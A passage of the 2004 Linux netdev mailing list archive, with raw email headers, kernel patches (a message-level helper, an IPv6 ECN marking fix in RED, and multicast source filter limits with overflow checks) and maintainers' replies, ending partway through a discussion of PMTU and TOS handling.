> Oh, my apologies. I didn't see you had made the additional change I > requested. > > This version looks better, but we still have an out of range value (32) > resulting in no-messages, rather than the default value. I would change > the first ">" to ">=", and simply eliminate the final test. > > Jeff > -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Fri Mar 5 14:20:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 14:20:33 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25MKOKO012826 for ; Fri, 5 Mar 2004 14:20:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i25MKNb29113; Fri, 5 Mar 2004 17:20:23 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i25MKN804693; Fri, 5 Mar 2004 17:20:23 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i25MKFeF028709; Fri, 5 Mar 2004 17:20:15 -0500 Date: Fri, 5 Mar 2004 14:20:22 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: IGMP multicast source filter limits via sysctl [PATCH] Message-Id: <20040305142022.3d64e5b7.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3775 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 348 Lines: 9 On Thu, 4 Mar 2004 22:04:31 -0700 David Stevens wrote: > The following patch adds a sysctl variable for administrators to set > limits on the number of per-socket multicast source filters for IPv4. > The in-line patch for review is for 2.4.25. Attached is the 2.4.25 version > and the 2.6.x version. Applied, thanks David. From brazilnut@us.ibm.com Fri Mar 5 15:29:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 15:29:56 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25NTlKO013867 for ; Fri, 5 Mar 2004 15:29:54 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i25NTgG9847074; Fri, 5 Mar 2004 18:29:42 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i25NTeMB118842; Fri, 5 Mar 2004 18:29:41 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i25NSqZ02414; Fri, 5 Mar 2004 15:28:52 -0800 From: Don Fry Message-Id: <200403052328.i25NSqZ02414@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc2-bk1] netdevice.h add netif_msg_init helper To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 5 Mar 2004 15:28:52 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3776 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 883 Lines: 25 This patch adds a helper function to initialize the debug bit mask for use with netif_msg_*. When the debug_value is out of range it returns the default_msg_enable_bits. Tested IA32. --- linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 09:59:08 2004 +++ linux-2.6.4-rc2-bk1/include/linux/netdevice.h Fri Mar 5 14:50:00 2004 @@ -774,6 +774,17 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) +{ + /* use default */ + if (debug_value < 0 || debug_value >= (sizeof(u32) * 8)) + return default_msg_enable_bits; + if (debug_value == 0) /* no output */ + return 0; + /* set low N bits */ + return (1 << debug_value) - 1; +} + /* Schedule rx intr now? */ static inline int netif_rx_schedule_prep(struct net_device *dev) From kaber@trash.net Fri Mar 5 16:36:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 16:36:07 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i260a5KO025264 for ; Fri, 5 Mar 2004 16:36:06 -0800 Received: from [172.20.0.3] (helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AzPnp-0000N4-00; Sat, 06 Mar 2004 01:36:29 +0100 Message-ID: <40491B9C.4040203@trash.net> Date: Sat, 06 Mar 2004 01:30:20 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: jamal , netdev@oss.sgi.com Subject: [PATCH] Fix IPv6 ECN marking in RED Content-Type: multipart/mixed; boundary="------------000205080405010300010805" X-archive-position: 3778 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 1908 Lines: 79 This is a multi-part message in MIME format. --------------000205080405010300010805 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Dave, this patch fixes IPv6 ECN marking in RED and changes it to use the functions from net/inet_ecn.h. Currently a local variable is marked instead of the packet. Best regards Patrick --------------000205080405010300010805 Content-Type: text/x-patch; name="red-ecn-marking.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="red-ecn-marking.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/06 01:06:26+01:00 kaber@trash.net # Fix IPv6 ECN marking in RED # # net/sched/sch_red.c # 2004/03/06 01:03:45+01:00 kaber@trash.net +4 -19 # Fix IPv6 ECN marking in RED # diff -Nru a/net/sched/sch_red.c b/net/sched/sch_red.c --- a/net/sched/sch_red.c Sat Mar 6 01:07:33 2004 +++ b/net/sched/sch_red.c Sat Mar 6 01:07:33 2004 @@ -41,9 +41,6 @@ #include #include -#define RED_ECN_ECT 0x02 -#define RED_ECN_CE 0x01 - /* Random Early Detection (RED) algorithm. ======================================= @@ -165,28 +162,16 @@ switch (skb->protocol) { case __constant_htons(ETH_P_IP): - { - u8 tos = skb->nh.iph->tos; - - if (!(tos & RED_ECN_ECT)) + if (!INET_ECN_is_capable(skb->nh.iph->tos)) return 0; - - if (!(tos & RED_ECN_CE)) + if (INET_ECN_is_not_ce(skb->nh.iph->tos)) IP_ECN_set_ce(skb->nh.iph); - return 1; - } - case __constant_htons(ETH_P_IPV6): - { - u32 label = *(u32*)skb->nh.raw; - - if (!(label & __constant_htonl(RED_ECN_ECT<<20))) + if (!INET_ECN_is_capable(ip6_get_dsfield(skb->nh.ipv6h))) return 0; - label |= __constant_htonl(RED_ECN_CE<<20); + IP6_ECN_set_ce(skb->nh.ipv6h); return 1; - } - default: return 0; } --------------000205080405010300010805-- From davem@redhat.com Fri Mar 5 23:26:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 23:26:45 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i267QgKO002602 for ; Fri, 5 Mar 2004 23:26:43 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i267Qbb22460; Sat, 6 Mar 2004 02:26:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i267Qb818588; Sat, 6 Mar 2004 02:26:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i267QSeF021950; Sat, 6 Mar 2004 02:26:29 -0500 Date: Fri, 5 Mar 2004 23:26:35 -0800 From: "David S. Miller" To: Patrick McHardy Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: [PATCH] Fix IPv6 ECN marking in RED Message-Id: <20040305232635.51697517.davem@redhat.com> In-Reply-To: <40491B9C.4040203@trash.net> References: <40491B9C.4040203@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3779 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 292 Lines: 9 On Sat, 06 Mar 2004 01:30:20 +0100 Patrick McHardy wrote: > this patch fixes IPv6 ECN marking in RED and changes it to use the > functions from net/inet_ecn.h. Currently a local variable is marked > instead of the packet. Applied to both 2.4.x and 2.6.x, thanks Patrick. From dlstevens@us.ibm.com Sat Mar 6 01:38:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 01:38:32 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i269c6KO008095 for ; Sat, 6 Mar 2004 01:38:12 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i269c0rj499464; Sat, 6 Mar 2004 04:38:00 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i269bxg4087034; Sat, 6 Mar 2004 02:37:59 -0700 Subject: [PATCH] multi-protocol MSF API sysctl limit support To: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Sat, 6 Mar 2004 02:37:56 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/06/2004 02:37:59 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3" X-archive-position: 3780 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 23586 Lines: 466 --0__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3 Content-type: multipart/alternative; Boundary="1__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3" --1__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3 Content-type: text/plain; charset=US-ASCII This patch adds support for administrator-controlled multicast source filter limits for the multiprotocol multicast source filter API. The v4 portion uses the same sysctl variable as the previous v4-only API patch, and the v6 portion uses a new v6 sysctl variable, "mld_max_msf". In-line 2.4.x and attached 2.4.x and 2.6.x versions. +-DLS diff -ruN linux-2.4.25F4/include/linux/sysctl.h linux-2.4.25F5/include/linux/sysctl.h --- linux-2.4.25F4/include/linux/sysctl.h 2004-03-04 17:02:54.000000000 -0800 +++ linux-2.4.25F5/include/linux/sysctl.h 2004-03-05 00:02:57.000000000 -0800 @@ -388,7 +388,8 @@ NET_IPV6_NEIGH=17, NET_IPV6_ROUTE=18, NET_IPV6_ICMP=19, - NET_IPV6_BINDV6ONLY=20 + NET_IPV6_BINDV6ONLY=20, + NET_IPV6_MLD_MAX_MSF=25, }; enum { diff -ruN linux-2.4.25F4/include/net/ipv6.h linux-2.4.25F5/include/net/ipv6.h --- linux-2.4.25F4/include/net/ipv6.h 2004-03-04 17:15:19.000000000 -0800 +++ linux-2.4.25F5/include/net/ipv6.h 2004-03-05 00:19:31.000000000 -0800 @@ -104,6 +104,7 @@ /* sysctls */ extern int sysctl_ipv6_bindv6only; +extern int sysctl_mld_max_msf; extern struct ipv6_mib ipv6_statistics[NR_CPUS*2]; #define IP6_INC_STATS(field) SNMP_INC_STATS(ipv6_statistics, field) diff -ruN linux-2.4.25F4/net/ipv4/ip_sockglue.c linux-2.4.25F5/net/ipv4/ip_sockglue.c --- linux-2.4.25F4/net/ipv4/ip_sockglue.c 2004-03-04 19:29:33.000000000 -0800 +++ linux-2.4.25F5/net/ipv4/ip_sockglue.c 2004-03-05 16:21:06.000000000 -0800 @@ -762,6 +762,8 @@ } case MCAST_MSFILTER: { + extern int sysctl_optmem_max; + extern int sysctl_igmp_max_msf; struct sockaddr_in *psin; struct ip_msfilter *msf = 0; struct group_filter *gsf = 0; @@ -769,6 +771,10 @@ if (optlen < GROUP_FILTER_SIZE(0)) goto e_inval; + if (optlen > sysctl_optmem_max) { + err = -ENOBUFS; + break; + } gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); if (gsf == 0) { err = -ENOBUFS; @@ -778,7 +784,13 @@ if (copy_from_user(gsf, optval, optlen)) { goto mc_msf_out; } - if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { + /* numsrc >= (4G-140)/128 overflow in 32 bits */ + if (gsf->gf_numsrc >= 0x1ffffff || + gsf->gf_numsrc > sysctl_igmp_max_msf) { + err = -ENOBUFS; + goto mc_msf_out; + } + if (GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) { err = EINVAL; goto mc_msf_out; } diff -ruN linux-2.4.25F4/net/ipv6/ipv6_sockglue.c linux-2.4.25F5/net/ipv6/ipv6_sockglue.c --- linux-2.4.25F4/net/ipv6/ipv6_sockglue.c 2004-02-23 16:35:09.000000000 -0800 +++ linux-2.4.25F5/net/ipv6/ipv6_sockglue.c 2004-03-05 01:57:30.000000000 -0800 @@ -453,6 +453,7 @@ case MCAST_MSFILTER: { extern int sysctl_optmem_max; + extern int sysctl_mld_max_msf; struct group_filter *gsf; if (optlen < GROUP_FILTER_SIZE(0)) @@ -471,8 +472,14 @@ kfree(gsf); break; } - if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < GROUP_FILTER_SIZE(0) || - GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) { + /* numsrc >= (4G-140)/128 overflow in 32 bits */ + if (gsf->gf_numsrc >= 0x1ffffffU || + gsf->gf_numsrc > sysctl_mld_max_msf) { + kfree(gsf); + retv = -ENOBUFS; + break; + } + if (GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) { kfree(gsf); retv = -EINVAL; break; diff -ruN linux-2.4.25F4/net/ipv6/mcast.c linux-2.4.25F5/net/ipv6/mcast.c --- linux-2.4.25F4/net/ipv6/mcast.c 2004-02-18 05:36:32.000000000 -0800 +++ linux-2.4.25F5/net/ipv6/mcast.c 2004-03-04 22:37:31.000000000 -0800 @@ -163,6 +163,10 @@ #define MLDV2_QQIC(value) MLDV2_EXP(0x80, 4, 3, value) #define MLDV2_MRC(value) MLDV2_EXP(0x8000, 12, 3, value) +#define IPV6_MLD_MAX_MSF 10 + +int sysctl_mld_max_msf = IPV6_MLD_MAX_MSF; + /* * socket join on multicast group */ @@ -401,6 +405,10 @@ } /* else, add a new source to the filter */ + if (psl && psl->sl_count >= sysctl_mld_max_msf) { + err = -ENOBUFS; + goto done; + } if (!psl || psl->sl_count == psl->sl_max) { struct ip6_sf_socklist *newpsl; int count = IP6_SFBLOCK; diff -ruN linux-2.4.25F4/net/ipv6/sysctl_net_ipv6.c linux-2.4.25F5/net/ipv6/sysctl_net_ipv6.c --- linux-2.4.25F4/net/ipv6/sysctl_net_ipv6.c 2003-06-13 07:51:39.000000000 -0700 +++ linux-2.4.25F5/net/ipv6/sysctl_net_ipv6.c 2004-03-05 00:01:05.000000000 -0800 @@ -24,6 +24,8 @@ {NET_IPV6_ICMP, "icmp", NULL, 0, 0500, ipv6_icmp_table}, {NET_IPV6_BINDV6ONLY, "bindv6only", &sysctl_ipv6_bindv6only, sizeof(int), 0644, NULL, &proc_dointvec}, + {NET_IPV6_MLD_MAX_MSF, "mld_max_msf", + &sysctl_mld_max_msf, sizeof(int), 0644, NULL, &proc_dointvec}, {0} }; (See attached file: 2.4.25mpmsflimit.patch) (See attached file: 2.6.4rc2mpmsflimit.patch) --1__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

This patch adds support for administrator-controlled multicast source
filter limits for the multiprotocol multicast source filter API. The v4 portion
uses the same sysctl variable as the previous v4-only API patch, and
the v6 portion uses a new v6 sysctl variable, "mld_max_msf".

In-line 2.4.x and attached 2.4.x and 2.6.x versions.

+-DLS

diff -ruN linux-2.4.25F4/include/linux/sysctl.h linux-2.4.25F5/include/linux/sysctl.h
--- linux-2.4.25F4/include/linux/sysctl.h 2004-03-04 17:02:54.000000000 -0800
+++ linux-2.4.25F5/include/linux/sysctl.h 2004-03-05 00:02:57.000000000 -0800
@@ -388,7 +388,8 @@
NET_IPV6_NEIGH=17,
NET_IPV6_ROUTE=18,
NET_IPV6_ICMP=19,
- NET_IPV6_BINDV6ONLY=20
+ NET_IPV6_BINDV6ONLY=20,
+ NET_IPV6_MLD_MAX_MSF=25,
};

enum {
diff -ruN linux-2.4.25F4/include/net/ipv6.h linux-2.4.25F5/include/net/ipv6.h
--- linux-2.4.25F4/include/net/ipv6.h 2004-03-04 17:15:19.000000000 -0800
+++ linux-2.4.25F5/include/net/ipv6.h 2004-03-05 00:19:31.000000000 -0800
@@ -104,6 +104,7 @@

/* sysctls */
extern int sysctl_ipv6_bindv6only;
+extern int sysctl_mld_max_msf;

extern struct ipv6_mib ipv6_statistics[NR_CPUS*2];
#define IP6_INC_STATS(field) SNMP_INC_STATS(ipv6_statistics, field)
diff -ruN linux-2.4.25F4/net/ipv4/ip_sockglue.c linux-2.4.25F5/net/ipv4/ip_sockglue.c
--- linux-2.4.25F4/net/ipv4/ip_sockglue.c 2004-03-04 19:29:33.000000000 -0800
+++ linux-2.4.25F5/net/ipv4/ip_sockglue.c 2004-03-05 16:21:06.000000000 -0800
@@ -762,6 +762,8 @@
}
case MCAST_MSFILTER:
{
+ extern int sysctl_optmem_max;
+ extern int sysctl_igmp_max_msf;
struct sockaddr_in *psin;
struct ip_msfilter *msf = 0;
struct group_filter *gsf = 0;
@@ -769,6 +771,10 @@

if (optlen < GROUP_FILTER_SIZE(0))
goto e_inval;
+ if (optlen > sysctl_optmem_max) {
+ err = -ENOBUFS;
+ break;
+ }
gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL);
if (gsf == 0) {
err = -ENOBUFS;
@@ -778,7 +784,13 @@
if (copy_from_user(gsf, optval, optlen)) {
goto mc_msf_out;
}
- if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) {
+ /* numsrc >= (4G-140)/128 overflow in 32 bits */
+ if (gsf->gf_numsrc >= 0x1ffffff ||
+ gsf->gf_numsrc > sysctl_igmp_max_msf) {
+ err = -ENOBUFS;
+ goto mc_msf_out;
+ }
+ if (GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) {
err = EINVAL;
goto mc_msf_out;
}
diff -ruN linux-2.4.25F4/net/ipv6/ipv6_sockglue.c linux-2.4.25F5/net/ipv6/ipv6_sockglue.c
--- linux-2.4.25F4/net/ipv6/ipv6_sockglue.c 2004-02-23 16:35:09.000000000 -0800
+++ linux-2.4.25F5/net/ipv6/ipv6_sockglue.c 2004-03-05 01:57:30.000000000 -0800
@@ -453,6 +453,7 @@
case MCAST_MSFILTER:
{
extern int sysctl_optmem_max;
+ extern int sysctl_mld_max_msf;
struct group_filter *gsf;

if (optlen < GROUP_FILTER_SIZE(0))
@@ -471,8 +472,14 @@
kfree(gsf);
break;
}
- if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < GROUP_FILTER_SIZE(0) ||
- GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) {
+ /* numsrc >= (4G-140)/128 overflow in 32 bits */
+ if (gsf->gf_numsrc >= 0x1ffffffU ||
+ gsf->gf_numsrc > sysctl_mld_max_msf) {
+ kfree(gsf);
+ retv = -ENOBUFS;
+ break;
+ }
+ if (GROUP_FILTER_SIZE(gsf->gf_numsrc) > optlen) {
kfree(gsf);
retv = -EINVAL;
break;
diff -ruN linux-2.4.25F4/net/ipv6/mcast.c linux-2.4.25F5/net/ipv6/mcast.c
--- linux-2.4.25F4/net/ipv6/mcast.c 2004-02-18 05:36:32.000000000 -0800
+++ linux-2.4.25F5/net/ipv6/mcast.c 2004-03-04 22:37:31.000000000 -0800
@@ -163,6 +163,10 @@
#define MLDV2_QQIC(value) MLDV2_EXP(0x80, 4, 3, value)
#define MLDV2_MRC(value) MLDV2_EXP(0x8000, 12, 3, value)

+#define IPV6_MLD_MAX_MSF 10
+
+int sysctl_mld_max_msf = IPV6_MLD_MAX_MSF;
+
/*
* socket join on multicast group
*/
@@ -401,6 +405,10 @@
}
/* else, add a new source to the filter */

+ if (psl && psl->sl_count >= sysctl_mld_max_msf) {
+ err = -ENOBUFS;
+ goto done;
+ }
if (!psl || psl->sl_count == psl->sl_max) {
struct ip6_sf_socklist *newpsl;
int count = IP6_SFBLOCK;
diff -ruN linux-2.4.25F4/net/ipv6/sysctl_net_ipv6.c linux-2.4.25F5/net/ipv6/sysctl_net_ipv6.c
--- linux-2.4.25F4/net/ipv6/sysctl_net_ipv6.c 2003-06-13 07:51:39.000000000 -0700
+++ linux-2.4.25F5/net/ipv6/sysctl_net_ipv6.c 2004-03-05 00:01:05.000000000 -0800
@@ -24,6 +24,8 @@
{NET_IPV6_ICMP, "icmp", NULL, 0, 0500, ipv6_icmp_table},
{NET_IPV6_BINDV6ONLY, "bindv6only",
&sysctl_ipv6_bindv6only, sizeof(int), 0644, NULL, &proc_dointvec},
+ {NET_IPV6_MLD_MAX_MSF, "mld_max_msf",
+ &sysctl_mld_max_msf, sizeof(int), 0644, NULL, &proc_dointvec},
{0}
};

(See attached file: 2.4.25mpmsflimit.patch)
(See attached file: 2.6.4rc2mpmsflimit.patch) --1__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3-- --0__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3 Content-type: application/octet-stream; name="2.4.25mpmsflimit.patch" Content-Disposition: attachment; filename="2.4.25mpmsflimit.patch" Content-ID: <10__=07BBE4DCDFA7A9C38f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNUY0L2luY2x1ZGUvbGludXgvc3lzY3RsLmggbGludXgtMi40 LjI1RjUvaW5jbHVkZS9saW51eC9zeXNjdGwuaAotLS0gbGludXgtMi40LjI1RjQvaW5jbHVkZS9s aW51eC9zeXNjdGwuaAkyMDA0LTAzLTA0IDE3OjAyOjU0LjAwMDAwMDAwMCAtMDgwMAorKysgbGlu dXgtMi40LjI1RjUvaW5jbHVkZS9saW51eC9zeXNjdGwuaAkyMDA0LTAzLTA1IDAwOjAyOjU3LjAw MDAwMDAwMCAtMDgwM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Ao= --0__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3 Content-type: application/octet-stream; name="2.6.4rc2mpmsflimit.patch" Content-Disposition: attachment; filename="2.6.4rc2mpmsflimit.patch" Content-ID: <20__=07BBE4DCDFA7A9C38f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi40cmMyRjEvaW5jbHVkZS9saW51eC9zeXNjdGwuaCBsaW51eC0y LjYuNHJjMkYyL2luY2x1ZGUvbGludXgvc3lzY3RsLmgKLS0tIGxpbnV4LTIuNi40cmMyRjEvaW5j bHVkZS9saW51eC9zeXNjdGwuaAkyMDA0LTAzLTA0IDE2OjU3OjI2LjAwMDAwMDAwMCAtMDgwMAor KysgbGludXgtMi42LjRyYzJGMi9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCTIwMDQtMDMtMDYgMDA6 MTg6MTcuMDAwMDAwMDAwIC0wODAwCkBAIC00MDUsNyArNDA1LDggQEAKIAlORVRfSVBWNl9JUDZG UkFHX0hJR0hfVEhSRVNIPTIxLAogCU5FVF9JUFY2X0lQNkZSQUdfTE9XX1RIUkVTSD0yMiwKIAlO RVRfSVBWNl9JUDZGUkFHX1RJTUU9MjMsCi0JTkVUX0lQVjZfSVA2RlJBR19TRUNSRVRfSU5URVJW QUw9MjQKKwlORVRfSVBWNl9JUDZGUkFHX1NFQ1JFVF9JTlRFUlZBTD0yNCwKKwlORVRfSVBWNl9N TERfTUFYX01TRj0yNSwKIH07CiAKIGVudW0gewpkaWZmIC1ydU4gbGludXgtMi42LjRyYzJGMS9p bmNsdWRlL25ldC9pcHY2LmggbGludXgtMi42LjRyYzJGMi9pbmNsdWRlL25ldC9pcHY2LmgKLS0t IGxpbnV4LTIuNi40cmMyRjEvaW5jbHVkZS9uZXQvaXB2Ni5oCTIwMDQtMDMtMDQgMTY6MTg6MjMu MDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYuNHJjMkYyL2luY2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wNC0wMy0w NCAxNjoxODoyNC4wMDAwMDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNi40cmMyRjIvbmV0L2lwdjYv c3lzY3RsX25ldF9pcHY2LmMJMjAwNC0wMy0wNiAwMDoxNjozMi4wMDAwMDAwMDAgLTA4MDAKQEAg LTc2LDYgKzc2LDE0IEBACiAJCS5wcm9jX2hhbmRsZXIJPSAmcHJvY19kb2ludHZlY19qaWZmaWVz LAogCQkuc3RyYXRlZ3kJPSAmc3lzY3RsX2ppZmZpZXMKIAl9LAorCXsKKwkJLmN0bF9uYW1lCT0g TkVUX0lQVjZfTUxEX01BWF9NU0YsCisJCS5wcm9jbmFtZQk9ICJtbGRfbWF4X21zZiIsCisJCS5k YXRhCQk9ICZzeXNjdGxfbWxkX21heF9tc2YsCisJCS5tYXhsZW4JCT0gc2l6ZW9mKGludCksCisJ CS5tb2RlCQk9IDA2NDQsCisJCS5wcm9jX2hhbmRsZXIJPSAmcHJvY19kb2ludHZlYworCX0sCiAJ eyAuY3RsX25hbWUgPSAwIH0KIH07CiAK --0__=07BBE4DCDFA7A9C38f9e8a93df938690918c07BBE4DCDFA7A9C3-- From ja@ssi.bg Sat Mar 6 03:55:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 03:55:31 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i26BtDKO014108 for ; Sat, 6 Mar 2004 03:55:17 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i26Bt30Z017570; Sat, 6 Mar 2004 13:55:03 +0200 Date: Sat, 6 Mar 2004 13:55:03 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: kuznet@ms2.inr.ac.ru cc: davem@redhat.com, niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, netdev@oss.sgi.com, chester.f.johnson@intel.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) In-Reply-To: <200403042202.BAA10586@yakov.inr.ac.ru> Message-ID: References: <200403042202.BAA10586@yakov.inr.ac.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3781 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 1107 Lines: 36 Hello, On Fri, 5 Mar 2004 kuznet@ms2.inr.ac.ru wrote: > > routes via gateway when shared_media is ON: > > > > http://marc.theaimsgroup.com/?l=linux-netdev&m=107109827516060&w=2 > > "message but we are sure we hit the target IP directly" > > You cannot be sure, actually. This happens and resolves the situation > when the things sort ip route add default dev eth0 are used i.e. host > does not know real prefixes. > > If this is a security issue (I do not see actually, the things on link > can be screwed via proxy arp et all in any case), make it a separate option > or even better use IN_DEV_SEC_REDIRECTS(in_dev) like similar paranoid case > for !shared_media case. I now see, may be better to stay as before, IN_DEV_SEC_REDIRECTS if used, can break the shared_media feature. Anyways, I prepared a final version: http://www.ssi.bg/~ja/tmp/tos-8.diff It passes simple tests. I hope it is ready for inclusion after eventual tuning. Compared to previous versions I removed the 